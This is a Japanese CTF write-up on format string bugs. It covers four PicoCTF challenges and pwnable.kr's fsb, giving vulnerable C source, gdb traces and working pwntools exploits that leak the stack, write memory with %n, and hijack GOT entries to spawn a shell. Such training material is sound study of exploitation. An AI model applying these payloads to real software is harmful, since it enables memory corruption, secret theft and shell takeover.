Pwnable - 典型問題 (FSB編)

## Pwnable - 典型問題シリーズ

1. [Stack Overflow編](https://qiita.com/Koukyosyumei/items/cd62394fa263fb1d0c1d)
2. [ROP編](https://qiita.com/Koukyosyumei/items/89cf4d061cbe405e56b6)
3. [Heap Exploit編](https://qiita.com/Koukyosyumei/items/c5632c102bac44ad9c85)
4. FSB編 (本記事)
5. [その他編](https://qiita.com/Koukyosyumei/items/0593df9d6a34feae2e79)

## 目次

- [PicoCTF: stonks](stonks)
- [PicoCTF: flag-leak](flag-leak)
- [PicoCTF: format-string-2](format-string-2)
- [PicoCTF: format-string-3](format-string-3)
- [pwnable.kr: fsb](fsb)

## stonks

x86-64では、7番目以降の引数はスタックに積まれている。`printf`や`scanf`は引数の数をチェックしないので、フォーマット文字列攻撃によってスタックの中身を盗むことができる。

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

```

このプログラムには、`buy_stonks`関数の`scanf("%300s", user_buf);`に脆弱性があり、スタック内の`api_buf`を盗み見ることができる。

フラグの長さ自体は分からないので、スタックの該当していそうな範囲をすべて表示してみる。

なお、ここで`%{i}$p`は、

```
%: フォーマット指定の開始を示す
i$: i番目の引数を指す
p: アドレスまたはポインタの値
```

を意味する。

```python
from pwn import *
import binascii
# r = remote("pwnable.kr",  9004)

context.log_level = 'error'

decoded_str = b""
for i in range(0, 30):
    # r = process('./a.out')
    r = remote("mercury.picoctf.net", 20195)
    r.recvuntil("2) View my portfolio")
    r.sendline(b"1")
    r.recvuntil("What is your API token?")
    r.sendline(f"%{i}$p")
    result = r.recvall()
    leaked_str = str(result).split("\\n")[2]

    try:
        decoded_str += binascii.unhexlify(leaked_str[2:])[::-1]
    except:
        pass
    
print(decoded_str)
```

## flag-leak

```
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <wchar.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char *buf, size_t len) {
    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("%s %s", "Please create 'flag.txt' in this directory with your",
               "own debugging flag.\n");
        exit(0);
    }

    fgets(buf, len, f);  // size bound read
}

void vuln() {
    char flag[BUFSIZE];
    char story[128];

    readflag(flag, FLAGSIZE);

    printf("Tell me a story and then I'll tell you one >> ");
    scanf("%127s", story);
    printf("Here's a story - \n");
    printf(story);
    printf("\n");
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);

    // Set the gid to the effective gid
    // this prevents /bin/sh from dropping the privileges
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    vuln();
    return 0;
}
```

同様に、スタックの中身を表示するだけ

```python
r = process("./vuln")
r.recvuntil(b"Tell me a story and then I'll tell you one >> ")
r.sendline(b"%x." * 50)
print(r.recvline())
leaked_str = r.recvline()
print(leaked_str)


decoded_str = b""
for p in str(leaked_str)[2:-4].split("."):
    try:
        decoded_str += binascii.unhexlify(p)[::-1]
    except:
        pass
    
print(decoded_str)
```

```
b'\x00\x91\xcf\xffts\xd3\xf7%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%ThisIsDUMMYF\x00.\xd3\xf7\xb4\x92\xcf\xff'
```

## format-string-2

`sus`を書き換えれば、フラグを表示させることができる。

```c
#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}
```

まず`sus`が格納されているアドレスを確認する。`sus`のアドレスが0x404060であることが分かる。

```
objdump -sj .data vuln

vuln:     file format elf64-x86-64

Contents of section .data:
 404050 00000000 00000000 00000000 00000000  ................
 404060 73757321                             sus!
```

ユーザーの入力を表示する部分にフォーマット文字列攻撃に対する脆弱性があるので、これを用いて`sus`の書き換えを目指す。

これまでに書き込まれた文字数を挿入する`%n`を用いることになるが、今回書き込みたい0x67616c66=1734437990は大きすぎて遅いので、前半(0x6761=26465)と後半部分(0x6c66=27750)に分けて書き込む。

攻撃のために用いる入力は以下のような形式になる。

```
b"%{書き込みたい値の前半部分}%{前半部分の書き込み先のオフセット (8byte単位)}$hn%" + 
b"%{書き込みたい値の後半部分 - これまでの長さ}%{後半部分の書き込み先のオフセット (8byte単位)}$hn%" + 
b"8バイトごとに揃えるためのオフセット" +  b"前半部分の書き込み先" +  b"後半部分の書き込み先"
```

入力が書き込まれる`buf`がスタック上の何個目の引数に相当するかを確認する。

```
00000000004011f6 <main>:
  4011f6:       f3 0f 1e fa             endbr64
  4011fa:       55                      push   %rbp
  4011fb:       48 89 e5                mov    %rsp,%rbp
  4011fe:       48 81 ec 50 04 00 00    sub    $0x450,%rsp
  401205:       bf 08 20 40 00          mov    $0x402008,%edi
  40120a:       e8 a1 fe ff ff          call   4010b0 <puts@plt>
  40120f:       48 8b 05 52 2e 00 00    mov    0x2e52(%rip),%rax        # 404068 <stdout@GLIBC_2.2.5>
  401216:       48 89 c7                mov    %rax,%rdi
  401219:       e8 c2 fe ff ff          call   4010e0 <fflush@plt>
  40121e:       48 8d 85 f0 fb ff ff    lea    -0x410(%rbp),%rax
  401225:       48 89 c6                mov    %rax,%rsi
  401228:       bf 6e 20 40 00          mov    $0x40206e,%edi
  40122d:       b8 00 00 00 00          mov    $0x0,%eax
  401232:       e8 c9 fe ff ff          call   401100 <__isoc99_scanf@plt>
  401237:       bf 75 20 40 00          mov    $0x402075,%edi
  40123c:       b8 00 00 00 00          mov    $0x0,%eax
  401241:       e8 7a fe ff ff          call   4010c0 <printf@plt>
```

適当に`scanf`の直後にブレークポイントを打ち、"AAAAAAAAAAAAAAA"を入力した後、スタックの中身を確認する。

```
RBP: 0x7fffffffdac0 --> 0x1
RSP: 0x7fffffffd670 --> 0x2

gdb-peda$ x/100 $rsp
0x7fffffffd670: 0x02    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd678: 0x10    0xcb    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd680: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd688: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd690: 0x01    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0x7fffffffd698: 0x60    0xc1    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd6a0: 0x10    0xcb    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd6a8: 0x60    0xc1    0xfb    0xf7    0xff    0x7f    0x00    0x00
0x7fffffffd6b0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6b8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6c0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6c8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffd6d0: 0x41    0x41    0x41    0x41
```

このことから、書き込み先のオフセットは二けたであると推定できる。

```
payload_ga = b"%26465c%00$hn" // 00はダミーオフセット
payload_lf = b"%1285c%00$hn"  // 00はダミーオフセット
```

とおくと、`payload_ga + payload_lf`の長さが25であることから、8バイト単位のアラインメントを考慮すると、オフセット18に前半部分のアドレス0x404060、オフセット19の位置に後半部分のアドレス0x404064を指定するれば良いことが分かる。

最終的な攻撃スクリプトは以下の通りとなる。

```python
payload_ga = b"%26465c%18$hn"
payload_lf = b"%1285c%19$hn"
offset = b"A" * (8 - len(payload_ga + payload_lf) % 8)

payload = payload_ga + payload_lf + offset
payload += p64(0x404062)
payload += p64(0x404060) // リトルエンディアンなので、順番が逆になっている

r = process("./vuln")
print(r.recvuntil(b"?"))
#r.sendline(b"%x."*10000)
# r.sendline(b"%10c%13$hn%160c%12$hn" + b"a"*7 + pack(0x404060, 0x404064))
r.sendline(payload)
r.recvall()
```

## format-string-3

printfにFSBに対する脆弱性があり、setvbufのアドレスが分かるので、それらを用いてputsのGOTアドレスをsystemのアドレスに書き換えることを目指す。

```c
#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};

	setup();
	hello();	

	fgets(buf, 1024, stdin);	
	printf(buf);

	puts(normal_string);

	return 0;
}
```

アドレスを書きこむ際、容量を圧縮するため、アドレスを2バイトづつ(`hhn`)に分割して書き込む。例えば、0x0609761をオフセット46以降に書き込む際のフォーマット文字列は、

```
%96c%46$hn%55c%47$hn%202c%48$hn

# hex(96) = "0x60"
# hex(96 + 55) = "0x97"
# hex((96 + 55 + 202) % 256) = "0x61"
```

となる。

```python
import sys
from pwn import *
from pwnlib.elf.elf import *
from pwnlib.fmtstr import *


def split_hex_string(hex_string):
    if len(hex_string) % 2 != 0:
        hex_string = '0' + hex_string
    split_hex = ["0x" + hex_string[i:i+2] for i in range(2, len(hex_string), 2)]
    return split_hex

def gen_payload(data, offset=10):
    splitted_data = split_hex_string(str(hex(data)))
    splitted_data = [int(s, base=16) for s in splitted_data]
    payload = ""
    cur_len = 0

    for i, b in enumerate(splitted_data[::-1]):
        db = b
        if db < cur_len:
            # 不足分は桁を上げることで対応
            while db < cur_len:
                db += 256
        payload += f"%{db - cur_len}c%{offset + i}$hhn"
        cur_len += db - cur_len
    padding = "A" * (8 - len(payload) % 8)


    return payload + padding, splitted_data

context.arch='amd64'

fs3 = ELF('./format-string-3')
got_puts = fs3.got['puts']
libc = ELF('./libc.so.6')
system_offset = libc.symbols['system']
setvbuf_offset = libc.symbols['setvbuf']

log.info(f'got_puts: {hex(got_puts)}')
log.info(f'system_offset: {hex(system_offset)}')
log.info(f'setvbuf_offset: {hex(setvbuf_offset)}')

r = process("./format-string-3")
# r = remote("rhea.picoctf.net", port=62421)

r.recvuntil(b"Okay I'll be nice. Here's the address of setvbuf in libc: ")
res = r.recvline()
setvbuf_addr = int(res[:-1].decode(), base=16)
system_addr = (setvbuf_addr - setvbuf_offset) + system_offset

log.info(f'setvbuf_addr: {hex(setvbuf_addr)}')
log.info(f'system_addr: {hex(system_addr)}')

buf_offset = 38
dummy_len = len(gen_payload(system_addr, offset=10)[0])
payload, splitted_data = gen_payload(system_addr, offset=buf_offset + int(dummy_len / 8))
payload = payload.encode()
for i in range(len(splitted_data)):
    payload += p64(got_puts + i)
log.info(f"payload:{payload}")

r.sendline(payload)
r.interactive()
```

## fsb

`pw == key`の比較を回避して、`execve(args[0], args, 0);`を実行したい。そのために、4回実行することのできる`printf(buf);`を用いて、FSB攻撃を試みる。

```c
#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
	char* args[]={"/bin/sh", 0};
	int i;

	char*** pargv = &argv;
	char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
	*pargv=0;
	*penvp=0;

	for(i=0; i<4; i++){
		printf("Give me some format strings(%d)\n", i+1);
		read(0, buf, 100);
		printf(buf);
	}

	printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
	return 0;
}

int main(int argc, char* argv[], char** envp){

	int fd = open("/dev/urandom", O_RDONLY);
	if( fd==-1 || read(fd, &key, 8) != 8 ){
		printf("Error, tell admin\n");
		return 0;
	}
	close(fd);

	alloca(0x12345 & key);

	fsb(argv, envp); // exploit this format string bug!
	return 0;
}
```

`fsb`を逆アセンブリした結果の一部は以下の通り。

```shell
# 脆弱性付近
 80485f4:	c7 44 24 04 00 a1 04 	movl   $0x804a100,0x4(%esp)
 80485fb:	08 
 80485fc:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048603:	e8 d8 fd ff ff       	call   80483e0 <read@plt>
 8048608:	b8 00 a1 04 08       	mov    $0x804a100,%eax
 804860d:	89 04 24             	mov    %eax,(%esp)
 8048610:	e8 db fd ff ff       	call   80483f0 <printf@plt>
 8048615:	83 45 e4 01          	addl   $0x1,-0x1c(%ebp)
 8048619:	83 7d e4 03          	cmpl   $0x3,-0x1c(%ebp)
```

```shell
# execve付近
 804869f:	c7 04 24 ae 88 04 08 	movl   $0x80488ae,(%esp)
 80486a6:	e8 65 fd ff ff       	call   8048410 <puts@plt>
 80486ab:	8b 45 dc             	mov    -0x24(%ebp),%eax
 80486ae:	c7 44 24 08 00 00 00 	movl   $0x0,0x8(%esp)
 80486b5:	00 
 80486b6:	8d 55 dc             	lea    -0x24(%ebp),%edx
 80486b9:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486bd:	89 04 24             	mov    %eax,(%esp)
 80486c0:	e8 8b fd ff ff       	call   8048450 <execve@plt>
 80486c5:	b8 00 00 00 00       	mov    $0x0,%eax
```

方針としては、`printf`のGOTアドレスを、`execve`を呼んでいる箇所に書き換える。

`printf`のGOTアドレスは0x804a004である。

```shell
gdb-peda$ disassemble printf
Dump of assembler code for function printf@plt:
   0x080483f0 <+0>:     jmp    DWORD PTR ds:0x804a004
   0x080483f6 <+6>:     push   0x8
   0x080483fb <+11>:    jmp    0x80483d0
End of assembler dump.
gdb-peda$
```
この、0x804a004が指し示す先が0x804869fになるようにFSB攻撃を行う。

```shell
gdb-peda$ b *0x8048610
Breakpoint 1 at 0x8048610
gdb-peda$ r
Starting program: /mnt/c/Users/kanka/Desktop/Dev/CTFWriteUps/kr/fsb/fsb
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Give me some format strings(1)
a
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x804a100 --> 0xa61 ('a\n')
EBX: 0xffffcc60 --> 0x1
ECX: 0x804a100 --> 0xa61 ('a\n')
EDX: 0x64 ('d')
ESI: 0xffffcd14 --> 0xffffce58 --> 0x0
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffaba8 --> 0xffffcc48 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0
ESP: 0xffffab60 --> 0x804a100 --> 0xa61 ('a\n')
EIP: 0x8048610 (<fsb+220>:      call   0x80483f0 <printf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048603 <fsb+207>: call   0x80483e0 <read@plt>
   0x8048608 <fsb+212>: mov    eax,0x804a100
   0x804860d <fsb+217>: mov    DWORD PTR [esp],eax
=> 0x8048610 <fsb+220>: call   0x80483f0 <printf@plt>
   0x8048615 <fsb+225>: add    DWORD PTR [ebp-0x1c],0x1
   0x8048619 <fsb+229>: cmp    DWORD PTR [ebp-0x1c],0x3
   0x804861d <fsb+233>: jle    0x80485d5 <fsb+161>
   0x804861f <fsb+235>: mov    DWORD PTR [esp],0x8048899
Guessed arguments:
arg[0]: 0x804a100 --> 0xa61 ('a\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffab60 --> 0x804a100 --> 0xa61 ('a\n')
0004| 0xffffab64 --> 0x804a100 --> 0xa61 ('a\n')
0008| 0xffffab68 --> 0x64 ('d')
0012| 0xffffab6c --> 0x0
0016| 0xffffab70 --> 0x0
0020| 0xffffab74 --> 0x0
0024| 0xffffab78 --> 0x0
0028| 0xffffab7c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048610 in fsb ()
gdb-peda$ x/32x $esp
0xffffab60:     0x0804a100      0x0804a100      0x00000064      0x00000000
0xffffab70:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffab80:     0x00000000      0x08048870      0x00000000      0x00000000
0xffffab90:     0xffffcd84      0xffffdfc1      0xffffabb0      0xffffabb4
0xffffaba0:     0x00000000      0x00000000      0xffffcc48      0x08048791
0xffffabb0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffabc0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffabd0:     0x00000000      0x00000000      0x00000000      0x00000000
gdb-peda$ exit
```

オフセット14である`0xffffabb0`がスタック内の別の個所(オフセット20)を指していることに注意する。

最終的な攻撃スクリプトは以下の通り。

```sh
./fsb >/dev/null
%134520836c%14$n  # 14番目の引数である0xffffabb0に0x804a004=134520836cを書き込む
%134514335c%20$n  # 0xffffabb0は20番目の引数である。0x804a004=134520836cが指し示す先に0x804869f=134514335cを書き込む
1>&2 whoami
root
```